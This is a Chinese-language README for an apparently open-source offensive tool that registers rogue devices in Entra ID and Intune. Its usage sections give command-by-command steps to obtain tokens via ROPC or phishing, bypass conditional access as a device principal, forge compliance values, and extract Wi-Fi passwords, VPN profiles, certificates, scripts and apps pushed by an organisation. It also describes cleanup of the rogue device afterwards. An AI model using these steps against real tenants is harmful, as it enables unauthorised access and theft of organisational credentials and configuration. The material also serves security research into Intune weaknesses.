Stra-x/OutOfTune
GitHub: Stra-x/OutOfTune
在 Entra ID 中注册伪装设备并接入 Intune MDM,用于绕过条件访问策略并提取组织推送的敏感配置与应用。
Stars: 10 | Forks: 1
# OutOfTune
受最初的 Pytune 启发,OutOfTune 在 Entra ID 中注册流氓设备,将其注册到 Intune MDM,并检查生成的合规性状态。
目前仅支持 Windows 设备,因为这是我的主要目标,未来可能会增加其他系统。
相关博客:
- https://stra-x.github.io/Re-Engineering-Pytune-Rogue-devices-in-the-age-of-conditional-access/
- https://stra-x.github.io/Re-Engineering-Pytune-Rogue-devices-in-the-age-of-conditional-access-pt-2/
## 要求
```
pip install -r requirements.txt
```
## 工作原理
该链条分阶段运行,每个阶段都建立在保存到 `chain_state.json` 的状态之上。
```
drs-token -> device-join -> device-token -> mdm-enroll -> mdm-checkin
```
1. **drs-token** - 获取 DRS 访问令牌(ROPC 或预先钓鱼获取)
2. **device-join** - 在 Entra ID 中注册新的设备对象,获取设备证书
3. **device-token** - 作为设备主体进行身份验证,获取 Intune 注册令牌
4. **mdm-enroll** - SOAP 发现 + WS-Trust 注册,获取 MDM 客户端证书
5. **mdm-checkin** - OMA-DM SyncML 签入,拉取策略,可选设置主要用户
## 使用说明
### 1. 获取 DRS 令牌
ROPC(已知凭据):
```
python OutOfTune.py drs-token -u user@domain.com -p Password1!
```
预先获取的令牌:
```
python OutOfTune.py drs-token -u user@domain.com -t
```
### 2. 将设备加入 Entra ID
```
python OutOfTune.py device-join
python OutOfTune.py device-join -n CORP-LAPTOP-01
```
输出 `.pfx` - 设备证书。密码是 `password`。
### 3. 获取设备主体令牌
```
python OutOfTune.py device-token
python OutOfTune.py device-token --cert CORP-LAPTOP-01.pfx
```
以设备对象(而非用户)身份向 AAD 进行验证。绕过用户范围的 CA 策略。
### 4. 注册到 Intune MDM
```
python OutOfTune.py mdm-enroll
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
```
针对 MDM 端点运行 SOAP 发现,然后提交 WS-Trust PKCS10 注册请求。输出 `_mdm.pfx`。
使用 `--profile` 伪造发送给 Intune 的设备硬件/OS 属性(参见 [设备配置文件](#device-profiles))。
### 5. OMA-DM 签入
```
python OutOfTune.py mdm-checkin
python OutOfTune.py mdm-checkin -r
python OutOfTune.py mdm-checkin --cert CORP-LAPTOP-01_mdm.pfx
python OutOfTune.py mdm-checkin -O ./output
python OutOfTune.py mdm-checkin -O ./output --save-syncml ./output/raw
```
针对 `r.manage.microsoft.com` 运行 OMA-DM SyncML 循环。Intune 将推送配置文件、应用分配以及针对该设备的任何其他策略。循环完成后,情报会自动提取并显示。
如果提供了 `-r`,刷新令牌将被交换为 `manage.microsoft.com` 访问令牌,并在每个 SyncML 请求中作为 `Authorization: Bearer` 发送。Intune 从此令牌中读取 UPN 并将其设置为设备的主要用户,从而导致用户范围的合规性策略生效。您只需要使用 `-r` 运行一次即可分配用户,后续所有签入都可以在没有刷新令牌的情况下运行。
如果没有 `-r`,设备将没有主要用户。
在此初始签入之后,如果您长时间不再次签入(通常为 5-7 天),由于“Is Active”的默认策略,设备可能会因超时而变为不合规。根据 Intune 的配置,设备在被标记为不合规之前可能会进入宽限期。如果发生这种情况,请重新运行 `mdm-checkin`。如果您之前曾使用刷新令牌分配主要用户,则无需再次提交,因为主要用户现在已存储在 Intune 后端中。
#### 标志
| Flag | 描述 |
|---|---|
| `--cert FILE` | 要使用的 MDM PFX — 设备名称自动从文件名派生 |
| `-r RT` | 用户刷新令牌 — 设置主要用户(只需一次) |
| `-O DIR` | 将提取的工件保存到 DIR (`wifi/`, `vpn/`, `scripts/`, `certs/`, `add_values.json`, `policy_values.json`) |
| `--save-syncml DIR` | 将每轮的原始 SyncML XML 保存到 DIR 以便离线重新解析 |
| `-o FILE` | 将完整的控制台输出写入 FILE |
#### 提取的有用信息
| 类别 | 保存位置 | 备注 |
|---|---|---|
| Wi-Fi 配置文件 | `wifi/.xml` + `_psk.txt` | 如果存在,提取明文 PSK |
| VPN 配置文件 | `vpn/.xml` | 完整的 ProfileXML |
| 证书载荷 | `certs/cert_N.b64` | 加密的 PFX 块(原始,尚未解密) |
| SCEP 挑战 | 已显示 | CA 模型名称,挑战 URL |
| 脚本 | `scripts/.ps1` | 通过 OMA-DM 推送的 PowerShell 脚本 |
| MSI 下载 URL | 已显示 | LOB 应用的直接 CDN 链接 |
| ODJ blob | `odj_blob.b64` + `odj_strings.txt` | 离线域加入 — 提取的可读字符串 |
| Add values | `add_values.json` | 所有其他 Add 命令(根 CA 证书,MDE onboarding,策略配置) |
| Replace values | `policy_values.json` | Intune 设置的策略 CSP 值 |
### 解析保存的 SyncML 轮次
重新解析通过 `--save-syncml` 保存的原始 XML 轮次,无需运行实时签入。
```
python OutOfTune.py parse-checkin --dir ./output/raw -O ./output2
python OutOfTune.py parse-checkin --file ./output/raw/round_001.xml -O ./output2
```
### 检查合规状态
```
python OutOfTune.py check -u user@domain.com -r
python OutOfTune.py check -u user@domain.com -p Password1!
```
从设备证书生成 PRT,将其交换为 IWService 令牌,并查询 `IWService/Devices` 以获取设备的合规状态及任何不合规规则。
如果租户 CA 要求对注册资源进行 MFA,请使用带有 MFA 会话刷新令牌的 `-r`。
### 下载应用和脚本
通过 IME SideCarGateway 获取分配给设备的 Win32 应用和 PowerShell 脚本。仅使用 MDM 客户端证书 — 无需用户令牌。
```
python OutOfTune.py download-apps
python OutOfTune.py download-apps --cert CORP-LAPTOP-01_mdm.pfx
```
- PowerShell 脚本保存到 `scripts/.ps1`
- Win32 应用从 CDN 下载、解密并解压到 `apps//`
### 下载修正脚本
获取分配给设备的主动修正脚本(检测 + 修正对)。
```
python OutOfTune.py get-remediations
python OutOfTune.py get-remediations --cert CORP-LAPTOP-01_mdm.pfx
```
每个策略保存到 `remediations//`,包含:
- `detection.ps1` — 检测脚本
- `remediation.ps1` — 修正脚本
- `params.json` — 策略 ID 和任何脚本参数
### 清理
如果从 Intune 移除设备失败,请从 Entra 将其删除。随后它将在 Intune 中进入宽限期,并在稍后自动被移除。
从 Intune 移除设备:
```
python OutOfTune.py retire-intune -u user@domain.com -r
```
从 Entra ID 移除设备对象:
```
python OutOfTune.py entra-delete
```
### 检查链条进度
```
python OutOfTune.py status
```
## 设备配置文件
在注册和签入期间发送给 Intune 的设备属性可以通过 JSON 配置文件完全伪造。这包括硬件标识符、OS 版本、制造商以及所有自报告的合规性 CSP 值(BitLocker、防火墙、Defender、TPM、安全启动)。
```
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
python OutOfTune.py mdm-checkin # profile is saved to state and reused automatically
```
### 包含的配置文件
| 文件 | 设备 |
|---|---|
| `profiles/default.json` | 默认值(VMware / Win10 Enterprise) |
| `profiles/dell_win11_ent.json` | Dell Latitude 5540 / Windows 11 Enterprise 23H2 |
### 配置文件字段
| 字段 | CSP | 备注 |
|---|---|---|
| `os_version` | `DevDetail/SwV` | 最小/最大 OS 版本合规性检查 |
| `os_edition_syncml` | `WindowsLicensing/Edition` | 4 = Enterprise, 48 = Pro |
| `manufacturer` | `DevInfo/Man` | 某些策略允许列出制造商 |
| `mac_address` | SOAP `AdditionalContext/MAC` | 全零是一个明显的指标 |
| `hw_dev_id_enroll` | SOAP `AdditionalContext/HWDevID` | 64 个十六进制字符 |
| `bitlocker_status` | `BitLocker/Status/DeviceEncryptionStatus` | 2 = 已加密(自报告) |
| `encryption_compliance` | `DeviceStatus/Compliance/EncryptionCompliance` | 1 = 合规(自报告) |
| `firewall_status` | `DeviceStatus/Firewall/Status` | 0 = 开启(自报告) |
| `secure_boot_state` | `DeviceStatus/SecureBootState` | 1 = 已启用(自报告,非 HAS 认证) |
| `tpm_version` | `DeviceStatus/TPM/SpecificationVersion` | 无加密证明 |
| `defender_enabled` | `Defender/Health/DefenderEnabled` | true = 正在运行 |
| `defender_version` | `Defender/Health/DefenderVersion` | 某些策略强制执行最低版本 |
所有 DeviceStatus CSP 值均为自报告,并由 Intune 在没有独立验证的情况下信任。HAS 认证的合规性检查(通过 HealthAttestation CSP 的 BitLockerEnabled、SecureBootEnabled)需要真正的 TPM,无法通过此方式伪造。
## 全局标志
```
--debug verbose HTTP + token logging
--proxy route traffic through a proxy (e.g. http://127.0.0.1:8080)
```
这些放在命令之前:
```
python OutOfTune.py --debug device-token
python OutOfTune.py --proxy http://127.0.0.1:8080 mdm-checkin
```
## 证书覆盖
如果您有上一次运行的证书或想使用特定的 PFX 文件:
```
python OutOfTune.py device-token --cert path/to/device.pfx
python OutOfTune.py mdm-enroll --cert path/to/device.pfx
python OutOfTune.py mdm-checkin --cert path/to/mdm.pfx
python OutOfTune.py check --cert path/to/device.pfx
python OutOfTune.py download-apps --cert path/to/mdm.pfx
python OutOfTune.py get-remediations --cert path/to/mdm.pfx
```
## 状态文件
所有阶段的输出都保存在工作目录的 `chain_state.json` 中。删除它以重新开始。使用 `status` 检查当前状态而不运行任何内容。如果您正在处理多台设备,请确保它们各自有自己的状态文件。可以在脚本开头将默认状态文件更改为您正在操作的任何设备。请小心使用证书覆盖选项,它们主要用于调试目的。
# 鸣谢
非常感谢 @temp43487580,他创建了最初的 Pytune,其最初的研究使这成为可能
- https://i.blackhat.com/EU-24/Presentations/EU-24-Chudo-Unveiling-the-Power-of-Intune-Leveraging-Intune-for-Breaking-Into-Your-Cloud-and-On-Premise.pdf
- https://temp43487580.github.io/intune/bypass-enrollment-restictions-to-break-byod-barriers-in-intune/
- https://github.com/secureworks/pytune
标签:Azure AD, Cloud Security, CTF学习, Entra ID, Intune, MDM, OMA-DM, Python, rogue device, ROPC, SOAP, Streamlit, WS-Trust, 内网渗透, 协议分析, 域渗透, 数据展示, 无后门, 权限提升, 条件访问绕过, 电子数据取证, 移动设备管理, 红队, 设备注册, 设备证书, 访问控制, 逆向工具